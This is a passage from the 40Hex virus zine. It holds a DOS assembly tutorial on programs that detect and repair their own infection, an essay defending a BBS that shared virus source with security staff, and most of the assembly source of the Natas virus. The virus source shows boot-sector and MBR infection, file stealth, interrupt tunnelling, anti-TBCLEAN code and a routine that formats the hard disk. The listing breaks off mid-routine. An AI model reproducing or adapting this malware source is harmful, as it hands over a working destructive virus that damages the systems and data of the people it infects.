While some self checking routines opt to use a crc or checksum
error detection method, the byte for byte method is both faster and more
accurate.
Weak points: This routine will not work against a stealth virus
which employs disinfection on the fly. Such viruses take over the dos
interrupt (int 21) and disinfect all files that are opened and read
from. As the routine in this article attempts to read itself into
memory, the stealth virus would disinfect it and write an uninfected
copy to ram. Of course, there are ways to defeat this. If this program
were to use some sort of tunneling, it could bypass the stealth virus
and call DOS directly. That way, infections by even the most
sophisticated viruses would be detectable.
Disinfection:
So, now you can write programs that will detect if they have been
infected. How about disinfection? This too is possible. Most viruses
simply replace the first three bytes of the executable file with a jump
or a call, which transfers control to the virus code. Since only the
first three bytes are going to be changed (in almost all cases), it will
usually be possible for a program to disinfect itself by replacing the
first three bytes with what is supposed to be there, and then truncating
itself to the correct size. The next program writes the entire memory
image to disk, rather than just the first three bytes. That way, it can
be used to disinfect itself from all nonstealth viruses.
The steps to disinfect are simple. First of all, you must move the
file pointer back to the beginning of the file. Use interrupt 21,
ah=42h for this. The AL register holds the move mode, which must be 00
in this case (move from beginning of file). CX:DX holds the 32bit
number for how many bytes to move. Naturally, this should be 0:0.
The second step is to write back the memory image to the file.
Since the virus has already restored the first few bytes of our program
in memory, we must simply write back to the original file, starting from
100h in the current code segment. i.e.:
mov ah, 40h
mov cx, heap - start ; bytes to write
lea dx, start
int 21h ; write file or device
Finally, we must truncate the file back to its original size. To
truncate a file, we must move the file pointer to the end and call the
'write file or device' function with cx, the bytes to write, equal to
zero. To move the pointer, do this:
mov ax, 4200h
mov cx, (heap - start) SHR 16 ; high word of file ptr
mov dx, (heap - start) ; low word of file ptr
int 21h ; move file pointer
Since we are dealing with .COM files here, it is safe to assume
that cx, the most significant word of the file ptr, can be set to zero,
because our entire file must fit into one segment. We do not need to
calculate it as above.
To truncate:
xor cx, cx
mov ah, 40h
int 21h ; truncate file
The full code for the self disinfecting program follows.
;();();();();();();();();();();();();();();();();();();();();()
.model tiny
.code
org 100h
start: mov es, word ptr ds:[2Ch] ; segment of environment
xor ax, ax
mov di, 1
loop_0: dec di
scasw
jne loop_0
mov dx, di
add dx, 2
push es
pop ds
mov ax, 3D02h ; open, read/write access
int 21h
mov bx, ax ; handle into bx
push cs
push cs
pop es
pop ds
mov cx, heap - start
lea dx, heap
mov ah, 3Fh ; read file or device
int 21h
jc quit_ ; can't read ?
lea si, start
lea di, heap
repe cmpsb ; byte for byte compare
jne bad
lea dx, clean ; we are golden
mov ah, 9 ; print string
int 21h
jmp main_program
bad: mov ah, 9 ; we are infected
lea dx, infected
int 21h
lea dx, disinfection
int 21h
; now, disinfect. File handle is still in bx
; we must move the file pointer to the beginning
xor cx, cx
xor dx, dx
mov ax, 4200h
int 21h ; move file pointer
mov ah, 40h ; 40hex!
mov cx, heap - start
lea dx, start
int 21h ; write file or device
jnc success
lea dx, not__
mov ah, 9
int 21h
success:mov ah, 9
lea dx, successful
int 21h
xor cx, cx
mov ah, 40h ; 40hex!
int 21h ; truncate file
main_program:
quit_: mov ax, 4C00h
int 21h
disinfection db 0Dh, 0Ah, 'Disinfection $'
not__ db 'not '
successful db 'successful.$'
clean db 'Self check passed.$'
infected db 'Self check failed. Program is probably '
db 'infected.$'
heap:
end start
;();();();();();();();();();();();();();();();();();();();();()
Weak points: The same weak points that apply above also apply here.
Additionally, the program may, by writing itself back to disk, give the
virus the opportunity to reinfect. Remember, any memory resident
viruses will already have loaded into memory by the time the program
disinfects itself. When the program tries to disinfect itself, any
virus that intercepts the 'write file or device' interrupt will
intercept this write and re-infect. Again, tunneling is the clear
solution.
40Hex Number 12 Volume 3 Issue 3 File 003
[Not so] Recently, the AIS BBS was shut down because of an anonymous
letter which stated that the AIS BBS contained and distributed virus
source code and helped system hackers develop and test malicious
programs. Now, I had been a member of AIS BBS for quite awhile, and it
is true that there was virus source code available. The first question
I want to ask is:
"Who uploaded these viruses?"
Hackers uploaded them. To my knowledge there weren't that many
hackers on AIS BBS. The majority of the users were people in the
computer and computer security industry. By being exposed to virus
source code and hackers in general, they would be able to do their job
better and more effectively. The anonymous person who complained about
AIS BBS clearly didn't do enough research, because if he had, he would
have realized that the people who he was worried about obtaining viruses
already had them. I would guess that over 90% of the underground
material on AIS BBS was contributed by hackers. Which brings me to my
next question...
"Why did hackers willingly give away their 'secrets' to the people who
have always been viewed as the enemy?"
The main reason the hackers on AIS BBS contributed to the system was
the friendly environment for them on AIS BBS. An important fact about
almost all hackers is that for the most part they are just like every
other person out there. They aren't evil computer geniuses trying to
destroy everyone's vital information. When logging into AIS BBS, a
hacker was not assaulted by rude messages, was not refered to as
a criminal, but was instead greeted as a fellow computer enthusiast. Of
course people wanted advice from hackers, who better to secure a
computer system then one who spends countless hours trying to penetrate
them.
"Are there, or have there ever been other systems like this?"
There have been several attempts to achieve a BBS that bridged the
gap between hackers and computer security professionals. The first one
I had ever heard of was called Face to Face. I am not too sure on the
success of this BBS, I only know that it wasn't that great. On my BBS,
Landfill, I also attempted to allow the security folks to interact with
computer hackers and virus writers, with a message base called 'Security
and the Security Impaired'. This forum allowed both sides to speak
their mind about a variety of issues, including Van Eck devices (TEMPEST),
suggestions for the improvement of currently insecure systems, and in
one example, virus writers helped one system administrator with a
rampant case of the Maltese Amoeba virus by displaying all of the
pertinent information and characteristics of the virus. Another system
called Unphamiliar Territories also has a message base with similiar
information that is still up and running today with a substantial amount
of success!
"Who protects us if our protectors are aiding the enemy?"
The Bureau of Public Debt has little to do with protecting our
country, and in regards to viruses, there is no agency who can protect
you from viruses. There is however a way you can protect yourselves.
It is through awareness that you can protect your data from the damages
incurred by malicious intent. The same awareness that the Bureau of
Public Debt was trying to make publicly available on AIS BBS. Before
the government did it, everyone else had already done it. This fact may
alarm some people, but I would estimate that there are well over 200
other systems in the United States alone that currently distribute virus
code to people who very well could end up distributing it to other
people without their consent. I am a tax paying citizen of the USA, and
I know I would rather hear that we spend a couple hundred dollars
educating the public on computer viruses then hear about the thousands
of dollars in damage done by miscellaneous computer viruses that hit
companies and wipe out all their data. By closing down AIS BBS, the
door for virus writers to obtain virus source remains wide open, while
the people who could find the information valuable, if not necessary for
their jobs, just had the only door open to them slammed shut and locked,
maybe forever. It is hard to tell who hurts us more - Those who make it
harder for computer users to protect themselves, or those who sit in
blind ignorance.
-> GHeap
;Natas Virus
;COM/EXE/Boot sector/partition table/full Stealth and polymorphic
;Tunnels
;Does other stuff
;2 files -- v1eng.asm = virus eng.asm = Engine
----------------<<v1eng.asm>>--------------------------------------------------
.model tiny
.code
file_size equ file_end - v_start
sect_size equ (decrypt - v_start + 511) / 512
para_size equ (v_end - v_start + 15) / 16
kilo_size equ (v_end - v_start + 1023) / 1024
find_dos_13 equ tracer_dos_13 - (trace_mode + 1)
find_13 equ tracer_13 - (trace_mode + 1)
find_15 equ tracer_15 - (trace_mode + 1)
find_21 equ tracer_21 - (trace_mode + 1)
find_40 equ tracer_40 - (trace_mode + 1)
step_21 equ tracer_step_21 - (trace_mode + 1)
loader_size equ loader_end - loader
no_hook_21 equ new_13_next - (hook_21 + 1)
yes_hook_21 equ check_21 - (hook_21 + 1)
boot equ 0
file equ 1
years equ 100 shl 1
v_start: jmp decrypt
; push cs
; pop ds
; call copy_ints
dw copy_ints - ($ + 2) ; save ints 13 15 21 40
mov ds:hook_21,al ; (0=yes_hook_21) hook 21h
mov ds:origin,al ; (0=boot) remeber host
mov es,ax ; ES=0
pop di
sub di,3 ; address of loader in boot
push ax di ; save return address 0:xxxx
mov si,offset boot_code
call move_boot_code1 ; copy and decode boot code
mov al,13h
mov dx,offset new_13
call set_int ; hook int 13h
call inf_hard ; infect drive C:
test byte ptr ds:load_head,dl ; DL=80h drive C:?
je boot_retf
mov ax,1ffh
call random ; time to activate?
jne boot_retf
jmp kill_disk
boot_retf: retf ; return to boot sector
;=====( Copy boot code and (en/de)crypt it )=================================;
move_boot_code1:mov ah,ds:[si - 1] ; get key
move_boot_code: mov cx,loader_size
cld
move_boot_loop: lodsb
xor al,ah ; code/decode
rol ah,1
stosb
loop move_boot_loop
retn
;=====( Code that was in boot sector before infection )======================;
boot_code_key db ?
boot_code: db loader_size dup(?)
;=====( Gets inserted into infected Boot sectors/MBRs )======================;
loader: call $ + 3
mov di,40h
mov ds,di
sub word ptr ds:[di-(40h-13h)],kilo_size ; hide memory
mov ax,ds:[di-(40h-13h)]
mov cl,0ah
ror ax,cl ; get TOM address
mov es,ax
mov ax,200h + sect_size
xor bx,bx
mov cx,0
load_sect = $ - 2
mov dx,0
load_head = $ - 2
int 13h ; read code into memory
jb load_fail
push es bx ; address of high code
retf
load_fail: int 18h
loader_end:
;=====( save ints 13h, 15h, 21h & 40h. Assumes ES=CS )=======================;
copy_ints: push ds
xor ax,ax
mov ds,ax ; segment 0
mov si,13h * 4h
mov di,offset int_13
push si si
movsw
movsw ; int 13h to int_13
pop si
movsw
movsw ; int 13h to dos_13
mov si,15h * 4h
movsw
movsw ; int 15h to int_15
pop si ; address of int 13h's IVT
cmp byte ptr ds:[475h],al ; any hard disks?
je copy_int_40
mov si,40h * 4h
copy_int_40: movsw
movsw ; copy int 13h/40h to int_40
mov si,21h * 4h
movsw
movsw ; int 21h to int_21
pop ds
retn
;=====( get interrupt address )==============================================;
get_int: push ax
xor ah,ah
rol ax,1
rol ax,1
xchg bx,ax
xor ax,ax
mov es,ax
les bx,es:[bx] ; get int address
pop ax
retn
;=====( Set interrupt address )==============================================;
set_int: push ax bx ds
xor ah,ah
rol ax,1
rol ax,1
xchg ax,bx
xor ax,ax
push ds
mov ds,ax
mov ds:[bx],dx
pop ds:[bx + 2]
pop ds bx ax
retn
push_all: pop cs:push_pop_ret
pushf
push ax bx cx dx bp si di ds es
mov bp,sp
push_pop_jmp: jmp cs:push_pop_ret
pop_all: pop cs:push_pop_ret
pop es ds di si bp dx cx bx ax
popf
jmp push_pop_jmp
;=====( Infect Drive C: )====================================================;
inf_hard: push cs cs
pop es ds
mov ax,201h
mov bx,offset disk_buff
mov cx,1
mov dx,80h
call call_13 ; read MBR of drive C:
jb cant_inf_hard
cmp ds:[bx.pt_start_head],ch ; Jackal?
je cant_inf_hard
mov cx,ds:[bx.pt_end_sector_track]
and cx,0000000000111111b ; get sector count
sub cx,sect_size
jbe cant_inf_hard
cmp cl,1 ; too few sectors?
jbe cant_inf_hard
call copy_loader ; copy loader into MBR
jb cant_inf_hard
push bx
mov ax,300h + sect_size
xor bx,bx
call call_13 ; write code to hidden sectors
pop bx
jb cant_inf_hard
mov ax,301h
mov cl,1
call call_13 ; write infected MBR
cant_inf_hard: retn
;=====( Copy Loader into disk_buff (BX) )====================================;
copy_loader: push cx dx
cmp word ptr ds:[bx+1feh],0aa55h ; valid boot code?
jne copy_load_no
mov di,offset boot_code
mov ds:[di+load_sect-boot_code],cx ; save track/sector
and dl,80h ; Drive C: or A:
mov ds:[di+load_head-boot_code],dx ; save head/disk
call find_boot ; find code/already infected?
je copy_load_no
call random_1 ; get random key
mov ds:[di - 1],ah ; save key at boot_code_key
push si
call move_boot_code ; save boot code and encrypt
mov si,di ; offset of loader
pop di ; boot code pointer
mov cx,loader_size
rep movsb ; copy loader into boot sect
clc
mov al,0
org $ - 1
copy_load_no: stc
pop dx cx
retn
;=====( Find start of boot sector's code )===================================;
find_boot: mov si,bx
cld
lodsb ; get 1st instruction
push ax
lodsw ; Jump displacement (if jump)
xchg cx,ax
pop ax
cmp al,0ebh ; Short jump?
jne find_boot_jump
xor ch,ch ; 8bit jump
dec si
jmp find_boot_add
find_boot_jump: cmp al,0e9h ; Near Jump?
je find_boot_add
find_boot_noadd:xor cx,cx ; No displacement
mov si,bx
find_boot_add: add si,cx ; si=start of boot code
cmp si,offset (disk_buff+200h) - (loader_size + 5)
; jump out of range?
jnb find_boot_noadd
cmp word ptr ds:[si],00e8h ; CALL -> already infected
jne find_boot_ret
cmp word ptr ds:[si+2],0bf00h ; 00 MOV DI -> already inf
find_boot_ret: retn
;=====( Disable TBCLEAN )====================================================;
anti_tbclean: xor ax,ax
pushf
pop dx
and dh,not 1 ; TF off
push dx dx
popf
push ss
pop ss
pushf ; Not trapped
pop dx
test dh,1 ; TF set?
pop dx
je anti_tb_ret
push es
xor bp,bp
mov cx,ss
cli
mov ss,bp ; segment 0
les di,ss:[bp+1h*4h] ; address of int 1h
mov ss,cx
sti
mov al,0cfh
cld
stosb ; IRET -> Int 1h
pop es
push dx
popf
anti_tb_ret: xchg bp,ax ; save result
retn
;=====( Swap jump into DOS' int 13h )========================================;
swap_13: call push_all
mov si,offset jump_code_13
les di,cs:[si+dos_13-jump_code_13] ; get address in DOS
jmp swap_code
;=====( Swap jump into DOS' int 21h )========================================;
swap_21: call push_all
mov si,offset jump_code_21
les di,cs:[si+int_21-jump_code_21]
swap_code: push cs
pop ds
mov cx,5
cmp ds:origin,ch ; 0 -> Boot origin, no tunnel
je swap_end
cld
swap_loop: lodsb
xchg al,es:[di]
mov ds:[si-1],al
inc di
loop swap_loop
swap_end: call pop_all
retn
;=====( Find original interrupt entry points )===============================;
find_ints: call copy_ints ; get interrupt addresses
mov ah,52h
int 21h
mov ax,es:[bx-2]
mov ds:dos_seg,ax ; 1st MCB segment
mov al,1h
call get_int ; get address of int 1h
push bx es
mov dx,offset tracer
call set_int ; hook int 1h
pushf
pop si
mov di,offset trace_mode
mov byte ptr ds:[di],find_dos_13 ; find int 13h in DOS
; and BIOS
mov ah,1h
call si_tf ; set TF
call call_13
mov byte ptr ds:[di],find_15 ; find int 15h in BIOS
mov ah,0c0h
call si_tf ; set TF
pushf
call ds:int_15
mov byte ptr ds:[di],find_21 ; find int 21h in DOS
mov ah,30h
call si_tf ; set TF
call call_21
mov byte ptr ds:[di],find_40 ; find int 40h in BIOS
mov ah,1
call si_tf ; set TF
call call_40
and si,not 100h
push si
popf ; disable Trapping
pop ds dx
mov al,1
call set_int ; unhook int 1h
retn
;=====( Set TF in SI, then set flags to SI )=================================;
si_tf: or si,100h
push si
popf
retn
;=====( Tracing/Tunneling )==================================================;
tracer: push ds
push cs
pop ds
mov ds:old_di,di
mov di,offset old_ax
mov ds:[di],ax
mov ds:[di+old_bx-old_ax],bx
mov ds:[di+old_cx-old_ax],cx
mov ds:[di+old_dx-old_ax],dx
pop ds:[di-(old_ax-old_ds)]
pop bx cx dx ; get IP, CS and Flags
mov ax,cs
cmp ax,cx ; In our CS?
jne $
trace_mode = byte ptr $ - 1
jmp tracer_iret
tracer_dos_13: cmp cx,ds:dos_seg ; in DOS code?
jnb tracer_cont
mov di,offset dos_13
mov ds:trace_mode,find_13 ; find it in BIOS next
jmp tracer_save_f
tracer_21: cmp cx,1234h ; In DOS code?
dos_seg = word ptr $ - 2
jnb tracer_cont
mov di,offset int_21
tracer_save: and dh,not 1 ; TF off
tracer_save_f: mov ds:[di],bx
mov ds:[di + 2],cx ; save address of int
jmp tracer_cont
tracer_15: mov di,offset int_15
jmp tracer_bios
tracer_40: mov di,offset int_40
jmp tracer_bios
tracer_13: mov di,offset int_13
tracer_bios: cmp ch,0c8h ; Below BIOS?
jb tracer_cont
cmp ch,0f4h ; Above BIOS?
jb tracer_save
jmp tracer_cont
tracer_step_21: dec ds:inst_count ; down counter
jne tracer_cont
push dx
mov al,1
lds dx,ds:int_1 ; get int 1h address
call set_int
call swap_21 ; insert int 21h jump
pop dx
and dh,not 1h ; TF off
tracer_cont: test dh,1 ; TF on?
je tracer_iret
get_inst: mov ds,cx ; instruction CS
xor di,di
get_inst1: mov ax,ds:[bx + di] ; get instruction
cmp al,0f0h ; LOCK
je skip_prefix
cmp al,0f2h ; REPNE
je skip_prefix
cmp al,0f3h ; REPE?
je skip_prefix
cmp al,9ch ; PUSHF or above?
jae emulate_pushf
and al,11100111b ; 26,2e,36,3e = 26
cmp al,26h ; Segment Prefix?
jne tracer_iret
skip_prefix: inc di
jmp get_inst1
emulate_pushf: jne emulate_popf
and dh,not 1 ; TF off
push dx ; fake PUSHF
emulate_next: lea bx,ds:[bx + di + 1] ; skip instruction
emulate_tf: or dh,1 ; TF on
jmp get_inst
emulate_popf: cmp al,9dh ; POPF?
jne emulate_iret
pop dx ; fake POPF
jmp emulate_next
emulate_iret: cmp al,0cfh ; IRET?
jne emulate_int
pop bx cx dx ; fake IRET
jmp emulate_tf
emulate_int: cmp al,0cdh ; Int xx
je emulate_int_xx
cmp al,0cch ; Int 3?
mov ah,3
je emulate_int_x
cmp al,0ceh ; Into?
mov ah,4
jne tracer_iret
test dh,8 ; OF set?
je tracer_iret
emulate_int_x: dec bx ; [bx+di+2-1]
emulate_int_xx: and dh,not 1 ; TF off
lea bx,ds:[bx + di + 2] ; get return address
push dx cx bx ; fake Int
mov al,ah
push es
call get_int ; get interrupt address
mov cx,es
pop es
jmp emulate_tf
tracer_iret: push dx cx bx ; save flags, cs & ip
mov ax,0
old_ds = word ptr $ - 2
mov ds,ax
mov ax,0
old_ax = word ptr $ - 2
mov bx,0
old_bx = word ptr $ - 2
mov cx,0
old_cx = word ptr $ - 2
mov dx,0
old_dx = word ptr $ - 2
mov di,0
old_di = word ptr $ - 2
iret
;=====( file infections come here after decryption )=========================;
file_start: push ds ; save PSP segment
call $ + 3
pop si
sub si,offset $ - 1
call anti_tbclean ; disable TBCLEAN
or bp,bp ; TBCLEAN active?
jne go_res
mov ah,30h
mov bx,-666h
int 21h
cmp al,3h ; must be DOS 3+
jb jump_host
go_res: mov ax,es
dec ax
mov ds,ax
xor di,di
or bp,bp ; TBCLEAN here?
jne dont_check_mcb
cmp byte ptr ds:[di],'Z' ; Last Block?
jne jump_host
dont_check_mcb: mov ax,para_size
sub ds:[di + 3],ax ; from MCB
sub ds:[di + 12h],ax ; from PSP
mov es,ds:[di + 12h] ; get memory address
mov ds,di
sub word ptr ds:[413h],kilo_size ; from int 12h
mov cx,jump_code_13-v_start
cld
rep movs byte ptr es:[di],byte ptr cs:[si]
mov ax,offset high_code
push es ax
retf
jump_host: push cs
pop ds
pop es ; PSP segment
lea si,ds:[si + header] ; get address of header
mov ax,ds:[si] ; get 1st instruction
cmp ax,'ZM' ; EXE?
je jump_2_exe
cmp ax,'MZ' ; EXE?
je jump_2_exe
mov cx,18h / 2
mov di,100h
push es di
cld
rep movsw ; repair .COM file
push es
pop ds
xchg ax,cx
retf
jump_2_exe: mov ax,es
add ax,10h
add ds:[si.eh_cs],ax
add ax,ds:[si.eh_ss] ; get SS/CS
push es
pop ds
cli
mov ss,ax
mov sp,cs:[si.eh_sp]
xor ax,ax
sti
jmp dword ptr cs:[si.eh_ip]
high_code: push cs
pop ds
mov byte ptr ds:[di+origin-jump_code_13],file ; tunnel
mov ax,2
call random ; 1 in 3 chance of no stealth
; on special programs
mov ds:check_special,al
mov ds:hook_21,no_hook_21 ; dont hook int 21h
mov al,0eah
stosb ; store at jump_code_13
mov ds:[di+4],al
mov ax,offset new_13
stosw
mov word ptr ds:[di+3],offset new_21
mov ds:[di],cs
mov ds:[di+5],cs
push di
call find_ints ; trace interrupts
pop di
push cs
pop ds
mov ax,ds:dos_seg
cmp word ptr ds:[di+(dos_13+2)-(jump_code_13+3)],ax
; found DOS' int 13h?
ja call_inf_hard
cmp word ptr ds:[di+(int_21+2)-(jump_code_13+3)],ax
; found DOS' int 21h?
ja call_inf_hard
call swap_13
call swap_21 ; insert jumps into DOS
call_inf_hard: call inf_hard ; infect drive C:
or bp,bp ; ZF -> No TBCLEAN
mov si,bp ; SI=0 if goto jump_host
jne kill_disk
jmp jump_host
kill_disk: xor bx,bx
mov es,bx ; table to use for format
mov dl,80h ; Drive C:
kill_next_disk: xor dh,dh ; head 0
kill_next_track:xor cx,cx ; track 0
kill_format: mov ax,501h
call call_disk ; format track
and cl,11000000b
inc ch ; next track low
jne kill_format
add cl,40h ; next track high
jne kill_format
xor ah,ah
int 13h ; reset disk
inc dh ; next head
cmp dh,10h
jb kill_next_track
inc dx ; next drive
jmp kill_next_disk
;=====( Interrupt 13h handler )==============================================;
new_13: jmp $
hook_21 = byte ptr $ - 1
check_21: call push_all
mov al,21h
call get_int ; get int 21h address
mov ax,es
push cs cs
pop ds es
cmp ax,800h ; too high?
ja cant_hook_21
mov di,offset int_21 + 2
std
xchg ax,ds:[di] ; swap addresses
scasw ; did it change?
je cant_hook_21
mov ds:[di],bx
mov al,21h
mov dx,offset new_21
call set_int ; hook int 21h
mov ds:hook_21,no_hook_21
cant_hook_21: call pop_all
new_13_next: cmp ah,2h ; Read?
jne jump_13
cmp cx,1 ; track 0, sector 1?
jne jump_13
or dh,dh ; head 0?
je hide_boot
jump_13: call call_dos_13
retf 2h
hide_boot: call call_dos_13 ; read boot sector
call push_all
jb hide_boot_err
push es cs
pop es ds
mov cx,100h
mov si,bx
mov di,offset disk_buff
mov bx,di
cld
rep movsw ; copy boot sector to buffer
push cs
pop ds
call find_boot ; find start/already infected?
jne inf_boot
mov ax,201h
mov cx,ds:[si+load_sect-loader]
mov dh,byte ptr ds:[si+(load_head+1)-loader]
; get code location
call call_disk ; read virus code
jb hide_boot_err
mov ax,ds:[0]
cmp ds:[bx],ax ; verify infection
jne hide_boot_err
mov di,ss:[bp.reg_bx]
mov es,ss:[bp.reg_es] ; get caller's buffer
sub si,bx ; displacement into boot sect.
add di,si ; address of loader
lea si,ds:[bx+(boot_code-v_start)] ; boot code in virus
call move_boot_code1 ; hide infection
hide_boot_err: call pop_all
retf 2h
inf_boot: cmp dl,80h ; hard disk?
jnb hide_boot_err
mov ax,301h
mov cx,1
call call_disk ; Write boot sector to disk
; CY -> Write-Protected
jb hide_boot_err
mov si,dx ; save drive #
mov di,bx
mov ax,ds:[di.bs_sectors] ; get number of sectors
mov cx,ds:[di.bs_sectors_per_track]
sub ds:[di.bs_sectors],cx ; prevent overwriting of code
mov ds:hide_count,cx
xor dx,dx
or ax,ax ; error?
je hide_boot_err
jcxz hide_boot_err
div cx
or dx,dx ; even division?
jne hide_boot_err
mov bx,ds:[di.bs_heads] ; get number of heads
or bx,bx
je hide_boot_err
div bx
or dx,dx
jne hide_boot_err
dec ax
mov ch,al ; last track
mov cl,1 ; sector 1
dec bx
mov dx,si ; drive
mov dh,bl ; last head
mov bx,di ; offset disk buffer
call copy_loader ; Copy loader into Boot sector
jb hide_boot_err
mov ax,300h + sect_size
xor bx,bx
call call_disk
jb hide_boot_err
mov ax,301h
mov bx,offset disk_buff
mov cx,1
xor dh,dh
call call_disk ; write boot sector to disk
mov bx,ss:[bp.reg_bx]
mov ds,ss:[bp.reg_es] ; get caller's buffer
sub ds:[bx.bs_sectors],9ffh ; prevent overwriting of code
hide_count = word ptr $ - 2
jmp hide_boot_err
;=====( Interrupt 21h handler )==============================================;
new_21: cli
mov cs:int_21_ss,ss
mov cs:int_21_sp,sp ; save stack pointers
push cs
pop ss
mov sp,offset temp_stack ; allocate stack
sti
call push_all
in al,21h
or al,2 ; disable keyboard
out 21h,al
push cs
pop ds
mov di,offset new_24
mov word ptr ds:[di-(new_24-handle)],bx ; save handle
mov al,24h
call get_int ; get address of int 24h
mov word ptr ds:[di-(new_24-int_24)],bx
mov word ptr ds:[di-(new_24-(int_24+2))],es
mov word ptr ds:[di],03b0h ; MOV AL,3
mov byte ptr ds:[di+2],0cfh ; IRET
mov dx,di
call set_int ; hook int 24h
call pop_all
call swap_21 ; remove jump from int 21h
call push_all
cmp ah,30h ; get DOS version?
jne is_dir_fcb
add bx,666h ; looking for us?
jnz is_dir_fcb
mov ss:[bp.reg_ax],bx ; set DOS version=0
mov ss:[bp.reg_bx],bx
jmp retf_21
is_dir_fcb: cmp ah,11h
jb is_dir_asciiz
cmp ah,12h
ja is_dir_asciiz
call call_21 ; do find
or al,al ; error?
je dir_fcb
jmp jump_21
dir_fcb: call save_returns ; save AX
call get_psp ; get current PSP
mov ax,'HC'
scasw ; CHKDSK?
jne dir_fcb_ok
mov ax,'DK'
scasw
jne dir_fcb_ok
mov ax,'KS'
scasw
je retf_21
dir_fcb_ok: call get_dta ; get DTA address
xor di,di
cmp byte ptr ds:[bx],-1 ; extended FCB?
jne dir_fcb_next
mov di,7h ; fix it up
dir_fcb_next: lea si,ds:[bx+di.ds_date+1] ; offset of year -> SI
dir_hide: call is_specialfile ; no stealth if helper
je retf_21
cmp byte ptr ds:[si],years ; infected?
jc retf_21
sub byte ptr ds:[si],years ; restore old date
les ax,ds:[bx+di.ds_size] ; get size of file
mov cx,es
sub ax,file_size ; hide size increase
sbb cx,0
jc retf_21
mov word ptr ds:[bx+di.ds_size],ax
mov word ptr ds:[bx+di.ds_size+2],cx ; save new size
retf_21: call undo_24 ; unhook int 24h
call pop_all
call swap_21 ; insert jump
cli
mov ss,cs:int_21_ss
mov sp,cs:int_21_sp
sti
retf 2
is_dir_asciiz: cmp ah,4eh
jb is_lseek
cmp ah,4fh
ja is_lseek
call call_21
jnc dir_asciiz
go_jump_21: jmp jump_21
dir_asciiz: call save_returns ; save AX and flags
call get_dta ; get dta address
mov di,-3
lea si,ds:[bx.dta_date+1] ; get year address
jmp dir_hide
is_lseek: cmp ax,4202h ; Lseek to end?
jne is_date
call call_21_file
jb go_jump_21
call get_dcb ; get DCB address
jbe lseek_exit
call is_specialfile ; dont hide true size from
; helpers
je lseek_exit
sub ax,file_size
sbb dx,0 ; hide virus at end
mov word ptr ds:[di.dcb_pos],ax
mov word ptr ds:[di.dcb_pos+2],dx ; set position in DCB
lseek_exit: clc
call save_returns ; save AX/flags
mov ss:[bp.reg_dx],dx
jmp retf_21
is_date: cmp ax,5700h ; get date?
je get_date
cmp ax,5701h ; set date?
jne is_read
call get_dcb
jbe date_err
cmp dh,years ; already setting 100 years?
jnb date_err
add dh,years ; dont erase marker
get_date: call is_specialfile ; do not hide date for
; helpers
je date_err
call call_21_file ; get/set date
jnc date_check
date_err: jmp jump_21
date_check: cmp dh,years ; infected?
jb date_ok
sub dh,years
date_ok: clc
call save_returns ; save ax/flags
mov ss:[bp.reg_cx],cx
mov ss:[bp.reg_dx],dx ; save time/date
jmp retf_21
is_read: cmp ah,3fh ; reading file?
je do_read
no_read: jmp is_write
do_read: call get_dcb ; get DCB address
jbe no_read
call is_specialfile
je no_read
les ax,ds:[di.dcb_size] ; get size of file
mov bx,es
les dx,ds:[di.dcb_pos] ; get current position
mov si,es
and cs:read_bytes,0
or si,si ; in 1st 64k?
jnz read_high
cmp dx,18h ; reading header?
jnb read_high
push cx
add cx,dx
cmc
jnc read_above
cmp cx,18h ; read goes above header?
read_above: pop cx
jb read_below
mov cx,18h
sub cx,dx
read_below: push ax bx ; save size
push dx ; position
sub dx,18h
add ax,dx ; get position in header
cmc
sbb bx,si
xchg word ptr ds:[di.dcb_pos],ax
xchg word ptr ds:[di.dcb_pos+2],bx ; lseek to header
push ax bx
push ds
mov ah,3fh
mov dx,ss:[bp.reg_dx]
mov ds,ss:[bp.reg_ds]
call call_21_file ; read file
pop ds
pop word ptr ds:[di.dcb_pos+2]
pop word ptr ds:[di.dcb_pos]
pop dx
pushf
add dx,ax ; adjust position
add cs:read_bytes,ax ; remember # of bytes read
popf
pop bx ax
jnc read_high
jmp jump_21
read_high: mov word ptr ds:[di.dcb_pos],dx ; update position
mov word ptr ds:[di.dcb_pos+2],si
mov cx,ss:[bp.reg_cx] ; number of bytes to read
sub cx,cs:read_bytes
sub ax,file_size
sbb bx,0 ; get original size
push ax bx
sub ax,dx
sbb bx,si ; in virus now?
pop bx ax
jnc read_into
xor cx,cx ; read 0 bytes
jmp read_fake
read_into: add dx,cx
adc si,0 ; get position after read
cmp bx,si ; read extends into virus?
ja read_fake
jb read_adjust
cmp ax,dx
jnb read_fake
read_adjust: sub dx,cx ; get position again
xchg cx,ax
sub cx,dx ; # of bytes to read = Original size - Pos
read_fake: mov ah,3fh
mov dx,ss:[bp.reg_dx]
add dx,cs:read_bytes
mov ds,ss:[bp.reg_ds]
call call_21_file ; read file
jc read_exit
add ax,0
read_bytes = word ptr $ - 2
clc
read_exit: call save_returns
jmp retf_21
is_write: cmp ah,40h ; write?
je do_write
no_write: jmp is_infect
do_write: call get_dcb
jbe no_write
les ax,ds:[di.dcb_size] ; get file size
mov bx,es
sub ax,18h
sbb bx,0 ; get header position
xchg ax,word ptr ds:[di.dcb_pos]
xchg bx,word ptr ds:[di.dcb_pos+2] ; lseek to header
push ax bx
mov ax,2
xchg ax,ds:[di.dcb_mode] ; read/write mode
push ax
push ds cs
pop ds es
call read_header ; read 18h bytes
pop es:[di.dcb_mode] ; restore access mode
jc write_rest_pos
mov word ptr es:[di.dcb_pos],ax
mov word ptr es:[di.dcb_pos+2],ax ; lseek to start
call write_header ; write old header
jc write_rest_pos
push es
pop ds
sub word ptr ds:[di.dcb_size],file_size
sbb word ptr ds:[di.dcb_size+2],ax ; truncate at virus
sub byte ptr ds:[di.dcb_date+1],years ; remove 100 years
write_rest_pos: pop word ptr es:[di.dcb_pos+2]
pop word ptr es:[di.dcb_pos]
jmp jump_21
is_infect: cmp ah,3eh ; Close?
je infect_3e
cmp ax,4b00h ; Execute?
je infect_4b
jmp jump_21
infect_4b: mov ax,3d00h ; Open file
cmp ax,0
org $ - 2
infect_3e: mov ah,45h ; Duplicate handle
call int_2_bios ; lock out protection programs
call call_21_file ; get handle
mov cs:handle,ax
mov ax,4408h
cwd
jc undo_bios
call get_dcb ; get DCB for handle
jb cant_infect
jne cant_infect ; error/already infected
mov bl,00111111b
and bl,byte ptr ds:[di.dcb_dev_attr] ; get drive code
mov dl,bl ; DX=00**
inc bx ; 0=default,1=a,2=b,3=c,etc.
call call_21 ; drive removable?
mov cx,1h
push cs
pop es
jc test_prot_drive
dec ax ; 1=non-removable
jz no_protect
jmp test_protect
test_prot_drive:cmp dl,1 ; A or B?
ja no_protect
test_protect: mov ax,201h
mov bx,offset disk_buff
int 13h ; read sector
jc cant_infect
